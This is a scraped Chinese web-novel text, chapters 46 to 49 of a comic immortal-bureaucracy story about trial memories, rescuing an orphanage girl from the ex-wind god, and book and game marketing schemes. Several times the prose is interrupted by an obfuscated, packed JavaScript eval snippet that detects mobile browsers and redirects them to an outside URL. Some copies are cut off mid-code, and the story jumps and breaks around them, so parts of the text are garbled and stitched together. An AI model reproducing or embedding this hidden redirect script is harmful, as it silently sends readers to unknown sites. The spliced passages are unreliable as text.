鸣桐觉得疲惫得很，又问林鸿到此有何贵干。林鸿虽觉得时机不对，但被连问两次，她不好再推托，便把关着熊崽的笼子提过来，讲了这小家伙偷吃她仓库药材的事。 鸣桐只一眼就认出确实是自家的小熊，接过笼子连声道歉，称自己最近心神不定疏忽了管教，为表歉意，她生灵殿的药材让林鸿想拿什么拿什么，想拿多少拿多少。 “……整日如此也不是办法。”林鸿蹙眉，静默片刻后建议道，“如果你愿意，我可以帮你暂时封存历劫时的记忆，待日后你锻炼到可以接受它，我再把它交还予你。” “不……” 鸣桐下意识拒绝，然而第一个才出口，她就扪心自问，是否真的要这样逃避。 生灵殿安静了好一阵子，鸣桐才婉言拒绝林鸿的好意。 鸣桐惨笑：“无论如何，那都是我的经历，我的过去，我的选择，我的终局。可以逃避，但总有一天要面对它，将它化作我生存的养料。既如此，就别掩耳盗铃了。” 当然，鸣桐对林鸿的关心表达了感谢，并表示自己不会再反复陷入回忆情绪、被动等待自己麻木，会主动地接纳那些不愉快，将其内化。 至于要怎么做，鸣桐没有和林鸿说。 当林鸿离开后，她就将自己锁在生灵殿，戒掉了吃喝睡等所有不必要的行动，笔耕不辍，创作灼春交予的大纲以外的故事。 一连几日，生灵殿上方蓝紫色的闪电盘旋不散。 灼春在情理所远远看到，就知道是鸣桐抖擞精神投入创作事业了。 ——但是她交给鸣桐的大纲还有雷没避完吗？她记得自己处理得挺到位的了呀？ 46.这才多久 吉吾到斗武殿查账，发现之前有几次报修填写有问题，然而龙缨忙碌，小扶疏被关在地牢，百捷没那个能力，吉吾只好现场揪人算账，巧了，当值的正是牛执司。 牛执司倒是挺配合，两人通力合作，没多久就把账务拾掇清楚。吉吾因历劫而郁躁的心总算得到了一点点安抚—— 牛执司：“司库，听说你也找灼春司劫了？感觉如何？” 吉吾脸微不可察地抽了抽：“……就那样。” 吉吾心想，她好不容易才压抑住内心的五味杂陈投身工作，这人怎么哪壶不开提哪壶……难道他没经历过，不知道有什么感觉吗？ 牛执司惆怅：“我记得我历劫那会儿可不好受了——就算现在记忆淡忘，可只要想起历劫相关的事，那时的种种情绪还是会跳出来，根本忽视不了……想必司库也是如此吧？” 吉吾：“……” 知道难受还要提醒别人？ 怪不得那么些年都升不上去封不了神呢，眼力见儿太差。 牛执司清了清喉咙，搓搓手：“其实明天晚上有个茶话会，参加者都是受过灼春司劫迫害的仙者，司库你要不要？” “哦原来如此！”吉吾笑笑，“是不是缺经费想托我帮你们招商引资？嗐你早说嘛！有意向的品牌吗？” “呃？不是，我不是这个意思……” 牛执司一怔，正要解释，吉吾又恍然大明白地堵住他的话。 “明——白！不是招商引资，就是想让我帮忙租借场地布置会场？嗐，都是同僚客气啥！亲兄弟明算账嘛！私人聚会这种呢，我们金钱殿是有收费标准的，不算成本，大型聚会五十两，中型四十两，小型二十两，微型三两……”吉吾嘚吧嘚地报价，几次将欲开口的牛执司话头挡住，“……价钱上是贵了点，但是我们质量好啊！包您满意！当然，都是同僚，可以打个折，友情价，九九折，如何？” 牛执司：“不……” “觉得贵？——诶，谁让咱们关系好……这样吧！真情价，九八折！这已经很低了，再低下去我手下的人得闹了！你体谅体谅？” “不……” “啊不好意思，我下属着急喊我回去也不知道什么事——这样，你跟你那些朋友商量一下，如果同意这个价，直接到金钱殿找小胡！毕竟时间是明天，准备时间很紧张，今天下班前必须做决定喔！如果不来我就当你婉拒了吼！” 吉吾快速说完，不等对方回话就匆匆离开，就像真有火烧屁股的大事似的。 她一路狂奔，直到远离斗武殿才骤然慢下来，背着手悠悠走路。 呵…… 老牛他们在想什么真当她猜不到呢？ 那个茶话会啊，无非就是一群人聚在一块吐苦水，然后凑主意给灼春添堵报复一下，无非就是投个诉、搞点恶作剧，都是些无伤大雅但恶心人且没屁用的做法，她才不屑这么干呢！ 君子报仇十年不晚，这么早且无理由无成效地动手，有理都没理了。如果灼春告到掌舵那儿，猜掌舵会帮谁？ 那些小打小闹她不稀得做，要干就干票…… 呸呸呸！ 她是个理智的人！不管对灼春再有怨言，也不能任着性子胡来！ ——她和灼春还有合作，断发断头都不可断自己财路啊！ 离金钱殿还有段路，吉吾远远就看见殿门外小胡在和另一人拉扯，面露为难，似乎想送客而对方不应。 与小胡纠缠那人背对着她，所以看不清面貌，但吉吾隐约觉得有几分眼熟，不像生人，但也不像相睦会里熟悉的同僚；服饰简约，是十多年前的款式了，但用料并不好，虽然干净整洁，可布料僵硬好几处都扯变形了——更眼熟了。 “……董院长，这事儿您找错人了，要是缺钱您来这没错，可是……” “胡执司，行行好，帮帮忙吧！这事儿我真想不到能找谁了，通报上清楚写着坐牢还没用，那么那人还能怕律法吗？” “小胡，董院长来了怎么不请进去，在殿门口站着多累？”吉吾扬声道。 她走近些才有印象，此人是荼城救济院的董院长。 小胡见到上司，张张口，欲言又止，最后还是听从吩咐，将董院长请进殿中，且备好小房间、座椅和茶点。 趁着准备茶点的工夫，小胡偷偷和吉吾通了气。 董院长这次来的目的是向她求救。 曾被荼城救济院养大的孤儿长大后在外奔波了几年赚了点钱，前些日子把钱全捐给了救济院，同时回到救济院当了教养老师照顾现在的孤寡老幼。那孩子性格好，有能力，手脚又勤快，还不介意日子清苦，救济院的大家都很喜欢她。 结果，一位大人物前几日忽然找上门纠缠不清，报了分会却没人敢管，那孩子被逼得过不下去，于是她这个老院长只能腆着脸来求吉吾帮忙。 恰好吉吾不在，小胡听了这事，觉得不好应对，而且也不是她们金钱殿分内事，便想让董院长找相关部门举报。 “那你有没有告诉她要去哪个部门投诉？”吉吾问。 小胡：“我建议她去慎刑殿找夏掌刑……” 吉吾颔首。 夏至凛这人她知道，还没进相睦会就是众所周知的嫉恶如仇，找她靠谱。小胡的做法没错，中规中矩。 “……但是董院长非说慎刑殿不会管，不肯去，非要找你，说只相信你的为人。”小胡无奈。 吉吾：“……那这样，我先和董院长聊聊，你现在就和夏掌刑传音沟通下，待会我送董院长过去。” “好。” 小胡在会客间外画传音阵，吉吾则进去与董院长交谈。吉吾自知没有判案断案的能力权力，所以对谈中只是了解情况，为董院长理清思绪，并不打算真的插手此事。 在吉吾的劝慰下，董院长的情绪逐渐缓和，也愿意接纳吉吾的话，只是对上报慎刑殿一事仍颇为抗拒。 吉吾这倒好奇了，为什么董院长如此不信任慎刑殿，是不是慎刑殿做了什么不妥的事？ “……董院长，不必忌讳，有什么说什么！如果慎刑殿真有不妥之举，我还能扣他们年终奖，对金钱殿来说是好事呢。”吉吾半开玩笑地说。 董院长长叹一息，握着茶杯，道：“纠缠民女的那个大人物就是慎刑殿放出来的……你说让我们怎么相信慎刑殿？当然，慎刑殿设立本意是好的，我们十分相信这个机构，只是殿中的人就……可能会有私心吧……” 居然是慎刑殿放出去的犯人？这话让吉吾意外。 夏至凛秉公执法，应该不是她，而且她治下严格，上任后也不可能将明显有缺陷的罪犯释放出去……那么，是夏至凛上任前发生的事儿？是那时候的代理掌刑陆珈？ 唔……那这样就不好顶格扣绩效了呀…… 吉吾：“董院长，你说的大人物到底是？” 董院长再次叹气：“是曾经的风神，扶疏执司。” “……” 吉吾低头在指尖捻出一颗指节长的冰凌，往门口一甩，嗖的一声，冰凌穿过壁障扎破了小胡执司正在书写的阵纸。冰凌触地即化，传出一道只有小胡听得见的命令—— “先不必通知慎刑殿，此事我应了。” 室内，吉吾敛容，表情凝重，询问小扶疏现在何处。 “就在荼城救济院附近！” 吉吾刚从轮回镜渡劫出来，灵台内法力充盈，当即动用消耗巨大的疾行咒，带着苦主到达荼城救济院。 董院长多历年所，也没几次体验过这等术法，不由得惊叹，仙者之辈不负修炼，法力居然能跟不要钱似的使！ 吉吾在救济院外走了一圈，没发现小扶疏的踪影，便想进里面与受害者沟通情况。 “院长，被小扶疏骚扰的……姑娘，叫什么？” “叫‘童寻千’。” “‘童寻千’？这名字好耳熟……” “那当然，司库您忘了？咱们救济院的孩子都是您给起的名取的姓啊！” 吉吾当然没忘，她说的熟悉是指…… “院长你可算回来了！出事了出事了！”几个分别抱着锄头、铁锹等武器的年长妇女焦急地迎过来，“我们和童童躲在屋里，结果一阵大风刮过，童童就不见了！肯定是那个大人物掳走的！怎么办啊！” 董院长白了脸，慌忙看向吉吾。 吉吾：“多久前的事？人在哪个房间丢的？” “不到半刻钟！” 说着，几个婶子立马带着她们去了案发房间。 吉吾站在房间外，二话不说起了一道追踪术，屋子里缓缓凝聚出一道青绿色的光带，飘飘忽忽不知通向何处。 吉吾和几人交代自己去救人让她们不要轻举妄动，便顺着光带疾行而去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14992725|160893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目送吉吾远去，几个婶子互相倚靠着，满脸忧色。既有对童寻千的担忧，也有对仙者为人的担忧。 不知道这个仙者会不会帮她们呢？ “不用担心，”董院长苍白着脸微笑，“那可是吉吾仙者啊！哪怕整个相睦会都背弃了我们，吉吾仙者也不会做那等事的！” 婶子们互相交流眼神，最终都把心安下。 是啊，那是吉吾仙者。若她都不可信，这世上便无人可信了。 风过痕轻，青绿色光带从救济院蔓延出几丈后就渐浅渐散，给吉吾的搜寻增加了不少难度，尝试各个线路浪费了不少时间。 可恶……小扶疏速度太快，都没留下太多可捕捉的痕迹…… 吉吾一边寻找，一边心心念念“童寻千”这名字——的确很熟悉，在哪儿听过看过呢…… 发现小扶疏疯狂地掰着一个姑娘双肩的瞬间，她想起来了。 ——哦对，小扶疏就是因为骚扰凡人女子坐牢，之前对外通报写得一清二楚。 “这才多久，死性不改又来欺负普通人了？” 吉吾凭借身高优势挤进小扶疏和童寻千中间，一个蹦跳攻击小扶疏的下巴——落空了——怎么说小扶疏也是实打实上过战场的封神仙者，又以速度见长，怎么可能被她一行政后勤人员攻击到？ 小扶疏下意识躲闪，就跳远数步，安然无恙。 然而吉吾本就没想正面硬刚，她的目的就是拉开危险距离。 看清来人，小扶疏眉眼一横，扇指吉吾：“此事与你无关，你走。” “无关？这是我养大的孩子，你说与我有没有关系！”吉吾毫不动摇地将童寻千牢牢护在身后，尽管以她的身高只能挡住差不多半个人。 吉吾冷笑：“风神小扶疏，啊不，犯人执司小扶疏，会里白纸黑字写明要关你百年，怎么，你这是受不住刑法私自越狱了？” “……” 小扶疏并不觉得自己该受刑，是以恨极他人说起此事，当时恼羞成怒，骂了一串话。 “……总之，我的事你少管！这是我与她的事，你更管不着！” 她管不着？ 吉吾本就因为渡劫心气不顺，只是工作要紧强压着情绪，这回小扶疏自己撞上枪口，就别怪她以大欺小了！ 小扶疏骂得脏，但吉吾不仅骂得脏，还逻辑分明言之有据，将小扶疏从头到脚从内到外从古至今训了个来回！ 她吉吾只是信奉和气生财，所以不怎么跟人撕破脸骂战，不代表她不会！小扶疏竟能做出多次俘虏他人的事，可以预见没甚未来，完全不必把他当人看、跟他客气！ 小扶疏听得气，但又找不到反击辩驳的地方，一开始还愤怒，但怒着怒着，发现自己理屈词穷只能瞠目结舌后，愤怒迅速变为无能为力的憋屈感，最后，出乎所有人意料地失声痛哭起来，哭的时候还寻空喊几个“你！你！你！”，一字比一字高昂，一字比一字悲愤——但也仅此而已。 出了口恶气，吉吾胸口郁结多时的苦闷终于缓解了几分。 吉吾把后辈欺负哭后，将受害者送回救济院，并保证小扶疏不会再来骚扰她们。接着，就把哭崩溃了的前风神捆吧捆吧带到慎刑殿质问。 聚众吃烧鸡的慎刑殿的人见状吓了一跳，一是被小扶疏的惨相吓到，二是被吉吾制服小扶疏的隐藏战斗力吓到，三是被外人押送犯人回来的行为吓到。 夏至凛作为慎刑殿头头，首先表达了歉意，并解释了小扶疏为什么流落在外——小扶疏亲属大扶疏，以自身做担保，保释小扶疏出去放风几日，谁知没多久就又出事了。 知道是扶疏做的担保，吉吾一下理解了。 她的话，确实可能，心软心善到没边了，再加上她俩之间的情分…… 好吧，没借口扣钱了。 夏至凛郑重承诺：“小扶疏辜负了亲属怜惜的心情，也辜负了我们对他的信任。请司库放心，以后谁都不能保释他，我们不会让他有单独外出的机会。” 作为担保人，扶疏被狠狠拖累。罚钱是少不了的，另外，她本人也接到了六个月不得下厨的限定惩罚，有专人监督。 吉吾捏着下巴摩挲片刻，忽地咧开笑容，那么灿烂，却让看的人感到如堕冰窖的寒意。 吉吾笑：“光是坐牢多轻松？不让他体验体验人间疾苦他怎么会反省自己的仗势欺人呢？” 47.破茧化蝶 殿门紧闭的生灵殿在电闪雷鸣中沉浸多日，终于敞开大门，顶上天气也陡然晴好。 鸣桐面容憔悴但神采奕奕，带着稿子去找吉吾。吉吾看了一遍，情不自禁为之动容，甚至虚掩几滴泪，不知道是因为她自己有了亲身体会，还是因为这回鸣桐写得格外好。 “放心，这书我倒贴也给你出！” 许下这样的承诺后，吉吾便找了百捷寻求意见。 百捷看完后，沉默许久。 鸣桐很淡然，但是吉吾分外紧张。 吉吾：“怎么？书的内容不受市场欢迎吗？写得不好？节奏有问题？” 百捷深深地叹了一口气：“怎么说呢……理智上认为应该写得很好，但是……读一遍还不能完全理解内容，恐怕对大多数人来说，知道这是个好东西，但就是理解不了很难喜欢……这么说吧，曲高和寡。” 被这么一说，吉吾也觉得真是这样。 她看的时候虽然很感动，但那是建立在她个人认知上的，即便如此，也有些许地方晦涩不明。她尚且如此，目标受众的普通老百姓还用说吗？ 吉吾问百捷哪些地方需要修改，应当如何修改，百捷翻着稿子正要从头一一列举，鸣桐忽然出声制止。 “谢谢你的好意但不必了，这本故事我一个字都不会改。” 百捷不理解：“可是这样会失去很多读者的？” “那就失去吧。”鸣桐不动声色地拿回稿子抱在怀里，垂眸，“本来这也不是为他们而写的故事……” 吉吾似有所感，跟着沉默了。 百捷感觉到突然低沉下去的氛围，一阵不适，摸着脑袋直白问出“鸣桐你咋了？这不像你的风格啊”，又说吉吾为了赚钱肯定不允许她这样—— “好，那就不改。” 吉吾意外地答应了。 百捷：？？？ 这两人？转性了？ 灾潮又要来了？世界要崩坏了？？ 吉吾搭上鸣桐的手背，目露鼓励：“只是这样，我就得换一种销售方式了，不过都一样，不要紧。” 百捷好奇：“我能问下换成啥方式吗？” 吉吾回忆道：“我记得……第一部《镜中纪事》那会儿，灼春藏不住事，把被火烧了的那封信的内容写了出来留在我那儿……” 百捷：！！ “啥！？你不早说！什么内容什么内容！哎哟你都不知道，我看完了那个故事没看到完整真相抓心挠肺的难受死了！有这信你不早拿出来！给我看看给我看看！”百捷差点激动到上手抓她。 吉吾道：“别急，回头鸣桐的这本书上市，买一本，附赠一封只有购买者能阅读的‘沈莲亲笔信’。” “亲笔？”百捷撇嘴，“还不是你们写的，哪有亲笔！” “就是个卖东西的噱头，别太当真。”吉吾笑笑，“回头记得买书捧场啊。” 鸣桐比较关心技术上的问题，比如怎么实现仅购书者可见的要求，据她了解，现有全部术法都没这个能力。 吉吾摆摆手让她不用担心，说夏侯在研究差不多逻辑的法术，拿过来修改一下细节正好可以试试效果。 此外，吉吾让百捷留下她对第二部《镜中纪事》的意见，让鸣桐对着修改，称之后要重新包装，出一个“精华版”，如果卖得好还可以把之前制作的周边卖出去弥补亏空。 出版事业如火如荼地进行，吉吾从夏侯振川那儿得到目标术式后，立刻投入试验，确认运行良好了，旋即投入批量制作，于是，一段时日后，兽医仙鸣桐独立创作的《镜中纪事》姊妹篇《镜中百年》正式面世！ 《镜中百年》上市后，不出七日，所有现货在各个地区销售一空。然而书的销量好，口碑却欠佳。有评价习惯的购书者有一个算一个，都在批评此书“故作高深不知所云”“乃兽医仙鸣桐炫技之作，没有一点可读性”“吃首作的血肉苟延残喘”，甚至恶评延展到了出品方吉吾本人，多是骂她一身铜臭没有信仰，就知道逮着一部书的血肉咀嚼，连渣都不放过。 不知道是不是因为口碑问题，当属下问吉吾要加印多少册《镜中百年》时，吉吾却拒绝加印，反而把鸣桐刚修改完的《镜中纪事二》给推上市场。 精华版是紧随着《镜中百年》上架的，不少欲购《镜中百年》的百姓拆封后才发现买错了书，买成重制的精华版。 《镜中纪事二》初版的口碑与《镜中百年》为难兄难弟，只不过吉吾在卖第二部时没怎么耍手段，所以总销量平平，没有如今这么广泛普遍的差评。 有人去找店家投诉退货，可是吉吾早就张贴了告示，所有书都施加了认主的法术，一经启封概不退换，是以购书者只能咬碎了牙往肚子里咽。 但吉吾很快又发布了告示，表示精华版和姊妹篇一样，购书者同样可以拥有仅自己可见的“沈莲亲笔信”，立刻平息了大家的怒火。 ——姊妹篇口碑那么差，谁还能真冲着书去？还不是为了圆自己了解第一部故事真相的心愿！ 对姊妹篇的批判从经济政治说到社会人文，从创作者骂到追捧者……内容再怎么丰富，也总有各个角度都被挑完刺的一天。 姊妹篇的评判告一段落后，关于“沈莲亲笔信”的内容再度掀起热潮，这回却不是恶评，大多都是表达自己对角色的同情、怜悯、惋惜……以及对藏着大结局用来帮衬不成器系列书籍的无良奸商吉吾的强烈谴责。 与姊妹篇口碑一同降到谷底的，还有吉吾的声名。 鸣桐对这现象很是愧疚，认为是自己固执不肯改写故事，才招致这样的苦果。 “吉吾，我也没别的可帮……你说要多少钱才能弥补你的精神损失，不论多少，我出。” 金钱殿内，鸣桐忧心忡忡地向仰在椅背上的吉吾建议道。吉吾听了她的话，立即睁圆了眼前倾到桌案上。 半晌，她才咽下堵到嗓子眼的话。 吉吾心悸：“姐姐哦，下次这种话可别随便挂在嘴上，小心被坑。” 吉吾心说还好自己是个正经人，君子爱财取之有道，否则不得把鸣桐全副身家扒空？ 接着，她摇头晃脑地说：“塞翁失马，焉知非福～失之东隅，收之桑榆～” “吉吾！听说书卖得很好啊！我来分钱了！” 灼春兴高采烈地闯到吉吾桌对面，一脸期待地看向她，十根手指情不自禁地在桌沿啪啦啪啦跳起舞。 吉吾瞥了一眼鸣桐，似笑非笑，仿佛在说——看，福来了。 鸣桐无奈一笑，和灼春简单打了招呼，便宣称有事告辞。 吉吾十指交叠，轻轻托着下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林鸿：“司劫那边先放一放，我说的偶仙那部分工作。” 情理所的工作？ 灼春寻思情理所也没啥大事，小麻小程两个解决起来绰绰有余，难道她俩……辞职了！？ ——不不不，冷静点……她可是她们的直属领导，如果真辞职她不可能不知道…… 林鸿口中念念有词，很快一张光点图就展现在二人面前。 林鸿指着图上的数据严肃道：“看到了吗？最近的生育率下滑厉害，成婚率也在平稳下降，并不乐观。作为偶仙，你不用采取些措施吗？” “……” 灼春忍着痛凑到图表近处打量，数据确实……不好看。不光是目前的数据，还有之后的预测值，照这个形式发展，过两年直接触底了！ 而究其转折点，正是现在这个时间段。 灼春：“……老大，这段日子降得最厉害，为啥啊？灾怪出现了？社会又动荡了？” “龙缨百捷成日在各个地方巡视，有灾怪也当场消灭了。”林鸿眯眼看她，“真要追究原因，你本人逃不了干系。” “我？” 48.系铃解铃 林鸿发现指标不对劲后立刻进行调查，结果发现，问题源头就在被自己放过一马的话本业。 《镜中纪事二》的重制精华版被吉吾设法推入市场，尽管九成九的人都是为了书信的添头而买了书，但，买都买了，闲来没事多少也会翻着玩——就是这样翻着玩的人越来越多，一不小心看完全本的人也越来越多，一不小心精华版就实现了口碑翻转。 “这是重制？这么好的书第一次上市扑了？原来我们是这么没有品味的人吗？” “初版的评论都是些啥，谁说这故事不好的，这故事太棒了好吗！？无懈可击！突然感觉顾禾沈莲没有那么惨了——开玩笑，‘朱莲碧禾’仍然是非常扎心的悲剧故事呜呜……” “第二部毫无水花是因为出品方没有认真营销吧？看看姊妹篇《镜中百年》的排场，如果出品方真的有心，就算被骂，也该被骂得举世闻名！” “本报讯——惊！《镜中纪事二》初版扑街的内情竟是如此！第一部书的爆火使得几位合作者利益分配不均，其中出品人分利最少。为了彰显自己的重要性，出品方居然——” “营销报闭嘴吧！仙者才不会那么不堪！出一个风神这几百年的残次品率就超限了，同一时代再碰上一批？哪儿那么独特的霉运！当自己天道之子啊！” “有一说一，我看过几乎绝版的第二部初版，写得真的难以言喻……故事是同一个，但水准连重制版的边边都擦不到，扑很正常。” “啊？不可能吧？差距这么大？哇塞都给姐整好奇了……书店里还有吗？我倒要看看初版有多一文不值！” “姐妹我找过了，市场上都没了。当初风评差销量不好，出品方就没印几本，大多数书还被买的人不屑之下当柴火烧了，只能期待期待二手市场了。” “嘘——有人要‘净钟寄室贰的怵般’吗？有意向者联系甲某，价格私聊！” …… 出人意外，精华版的好评如潮把《镜中纪事2》的初版带火了，原本被弃如敝履的书，如今倒成了绝版，还有了黑市，一本盗版就能卖到原价的三倍！ 一时间，整个读书界被三本悲剧文学三分市场，就是不看书的人，也被社会上的氛围影响信念产生动摇。 ——感情都是悲剧，悲剧都是伤心的，既然无力承受就不要触碰感情。 我本可以忍受黑暗，只要未曾见过光明。 在此种思潮的蔓延下，成婚率和生育率便直接受到影响——这就是林鸿调查发现的导火索。 灼春听完不知作何反应，满心都是“好处一分不给，委屈一份不落”的憋屈。 林鸿：“话本造成的恶劣影响你必须想办法抵消，否则，以后此类书籍百年内不得出版及在市场上流通，发现一次，罚五倍获益。” “别啊！老大你这不是矫枉过正嘛！堵不如疏，堵是堵不住的啊！” 灼春急了，这时候葬送市场，岂不是让她再没有赚钱的营生？那她不得忍痛熬个几十年才能把身体的病痛熬自愈？ 她又不是受虐狂怎生熬得住！ “那你就努力把业绩提上去。”林鸿面不改色地转身离去，“顺带一提，半月后就是年终大会，业绩与年终奖挂钩，若……金钱殿应当很乐意少出款。” ……坏人啊！坏人！ 同事全都是坏人啊！！ 林鸿轻轻地走了，正如她轻轻地来，挥一挥衣袖，只留下满室阴霾。 灼春曰—— “不如让我死喽！” 解决？她能怎么解决？说是仙者，她也就一个修炼到了一定程度的普通人，怎么跟那么多人角力啊？她的职位是“偶仙”，她本人又不能真随意操纵人的情感！一人对千万人，蚍蜉撼大树，可笑不自量啊！ ——啊，肠胃疼，抽着疼，又回忆起了那些口味奇异的食物…… 想办法吧……办相亲？——今年都第几回了，百姓们该有意见了！再说了哪儿来那么多适龄未婚青年，有成婚意愿的前几次办活动时就成了，拖到现在的，或主观或客观，必有不能成婚的道理。 唉……心脏疼，惊悸的疼，心跳声跟在耳边打鼓似的，又急又重…… 脑子疼，右侧脑壳突突跳，像有什么要破壳而出…… ——去你大爷的完蛋世界！她不管了！ 灼春破罐破摔，拿着痒痒挠在家门口给自己挖了个坑然后跳进去瘫着，一脸了无生趣地仰头望天。 “偶仙……在晒日光浴？” 灼春费劲地转动眼珠，看到黑眼圈的阿勉正蹲在自己挂脚的坑沿。 “我在活埋自己。”灼春话语中带着淡淡的死意。 “哦。”阿勉打了个哈欠，“可你身上没盖上土啊，死得了吗？” “不盖。土盖身上多脏，洗衣服麻烦。” “哦，也是。” 灼春不耐烦地问：“你来干嘛？看我啥时候死啊？” “哪有那闲情逸致……喏，我就是个传话的。”阿勉展开一份司务签名的公文，“司务喊你还我们资产。” “呸！我啥时候欠你们钱了！血口喷人！我警告你们，诽谤是要有证据——呸！不是——是要负法律责任的！” 灼春当时就怒了。 哪儿来的混账，趁火打劫不是？看她病要她命啊！她灼春啥时候成了软柿子，是个人都能来捏两下啊！？ “……不是钱，是资产。”阿勉疲惫道，“之前你向我们借了轮回镜，领导说既然用完了就赶紧送回去。” “噫……还真只是‘借’啊？”灼春嫌弃。 阿勉收起公文，起身揉揉脖子按按腰，说：“话我带到了，劳步。” “哎等等！那你索性把轮回镜拿走吧！省得我多跑一趟了。” “诶——那家伙可沉了，还是你自己跑一趟吧。” 说着，阿勉摆手离开。 灼春：“……” 不是一家人，不进一家门，凤脊殿里的人，再负责也不可能积极上进。 灼春光是想想还轮回镜要搬那么远的路，淡淡的死意更浓了。 用完了就还、用完了就还…… 凤脊拿去也是搁仓库，搁仓库搁这儿，不一样的么？非得整点事烦她！她现在还不够烦吗？身体濒临极限，老大又乱下指标，还要抽空还…… 嗯？ 哦豁？ 她刚刚想到了一个金点子呢？ 灼春从坑里猛地坐起，扒着坑往外爬。回到地面后身上的土都没来得及掸，就往金钱殿跑。 “吉吾吉吾！来活了！合作合作！” “哦是偶仙啊！司库有事不在，您有什么事吗？” 金钱殿里小胡出来接待，灼春四处张望确实没见到吉吾的身影。 灼春问：“吉吾哪儿去了？什么时候回来？” 小胡微笑：“司库有笔很重要的生意要谈，归期不定——偶仙若有急事和我说也是一样的，如果可以解决的我便处理了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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不过这种“真实”仅针对“仙者”，对仙者以外的人来说，仍然是一种拟真的梦境，是一场身临其境的故事。 ——灼春要利用的正是这一点。 把轮回镜包装成一种虚拟游戏的体验活动，等别人决定参与，就给她几个爱情模板挑选，让她体验一场酣畅淋漓轰轰烈烈的爱情故事！相信经历过热烈真诚极致的纯粹感情，没人能忍得住不动春心！ 先给驴子吃一口胡萝卜，等它知道胡萝卜有多脆多香多好吃后，再把胡萝卜吊在它前方，驴子就会非常有动力地奔跑起来了。 美好的感情一定会让人上瘾！这就是灼春的“胡萝卜计划”！ 但是，在实现要求前，绝对不能透露这次活动的真正目的是提高成婚率！今年情理所的配对活动已然超量，如果一开始就暴露目的，大家会预设立场，还没接触就产生反感，不利于计划进行。 所以，为了麻痹群众，让大家放下警惕心，每次进入轮回镜体验爱情游戏，都要缴一点点无足轻重的门票费——咳咳，可不是她想一石二鸟挣外快啊…… 为了使“胡萝卜计划”不受干扰顺利进行，灼春请吉吾帮的忙就是暂时控制苦情悲剧的销售，去掉不利于谈感情的危害因素——一顿饱和顿顿饱还是能分轻的吧？ ——当然，合理利用轮回镜不空置，凤脊那家伙就没借口命令她把死沉的轮回镜搬回去了。 吉吾从属下那儿得知灼春的想法，思索片刻，便大方应允，随便找了些堂皇的理由锁住话本供应链，有效控制苦情悲剧的流通，甚至贴心地在戏曲、说书场领域也动用手段。 至于她为什么这么上心嘛…… 物以稀为贵，需要一些外在刺激，人们才能体会到良品价值。 适当的推拉有利于长期营业。 49.商界鬼才 年终总结会议迫在眉睫，灼春调整好轮回镜参数便投入使用，同时向鸣桐又借了一笔钱，用于广发活动告示，致力于将游戏资讯传播得远且深入。 为了使活动更好开展，灼春给这次游戏起了个“演玩剧”的名字。 在灼春短时间密集的信息轰炸下，“演玩剧”一夜之间名头响彻大江南北，尽管没有人体验过，但几乎人人都知道了这个游戏——代价就是灼春在负债累累的基础上负了更累累的债。 所以说没钱不要妄想做生意，光宣传费用就能扒下你好几层皮…… 有效宣传虽然费钱，但后续影响肉眼可见。 灼春的流程安排是，玩家先到麻惠良那边交钱，然后与程冰津沟通游戏的环境要求，比如家世、身份，最后拿着凭证到她那儿领取相应灵盘进轮回镜游玩。在灼春预计中，每个人有半小时左右的时间，而镜内体感时间能达到一个月——这个时间她合计过，加上互相追求磨合的时间，不会长到厌倦感情，也不会短到咂吧不出爱情的滋味就戛然而止。 待演玩剧开业，第一天一整天，立马就被预约满了！ 情理所热火朝天做活动，散发出强烈的商机气息，使吉吾闻着味就过来了。 大院里等候的人们三五成群坐成一团聊天，程冰津和麻惠良二人坐在门口前台做登记——主要是麻惠良在闷着头登记，程冰津基本上在和客人谈笑风生。 唔……有种会赚到钱但十分曲折首先得被狠狠踩一波的气息。 吉吾装作是玩家混进一个小团体，找了个看起来十分热情的姑娘搭讪。 “小姐姐，你们也是来玩演玩剧的啊？我刚来，不太清楚……这个好玩吗？” …… “欢迎下次再来！下一位——”灼春坐在轮回镜边，送走了上一位玩家，立刻叫下一位的号，“——您的要求是当小卖铺老板是吧？还有太平盛世……好的，请拿好这个灵盘，进轮回镜之前把它贴在镜框上，游戏结束时再归还到此处，谢谢，祝您游戏愉快～” 灼春将新玩家送进轮回镜，忽地被人拍了下后背吓得一哆嗦。 “创业的感觉还不错？”吉吾调笑。 灼春见是吉吾，屁股往边上挪挪，给她腾出半条板凳，同时谦虚：“还行吧……忙是忙了点，但有收获——哎我可没创业！都是为了情理所的业绩！” 谦虚到一半，灼春忽地反应过来吉吾话中不对的地方，连忙否认。 灼春顿了顿，忽地问她怎么突然过来了。吉吾笑笑，称自己为了帮她限制了话本市场，总得过来问明白要限制多少日子吧。 “好嘛好嘛……就……”灼春挠挠头，“就到年终总结大会为止？” “哦……” 灼春急忙补充：“那是期限！如果这次活动办得好，我想时间可以缩短的！吉吾姐，你千万稳住！咱们可不能内讧！” “放心我懂。” 吉吾扫了眼运行中的轮回镜，又瞟了一眼院中叽叽喳喳等候的人，问：“灼春，大院里等了那么多人，一面轮回镜来得及吗？一次一人，每人两刻钟，我怎么觉得不太靠谱呢？” “小程算过，不是每个人都要用满两刻钟的，所以现在等着的人今天都能排到！”灼春扬了扬下巴，“喏，我还怕他们站着累，特意打了一院子的座椅呢！” 说话间，两人视线中的等候者，有几个忽地起身离开了情理所。 吉吾哼笑：“喔，看来有人等得无聊，坐不住了。” 被这么一说，灼春才发现院中等候的人少了好多，有些心乱。 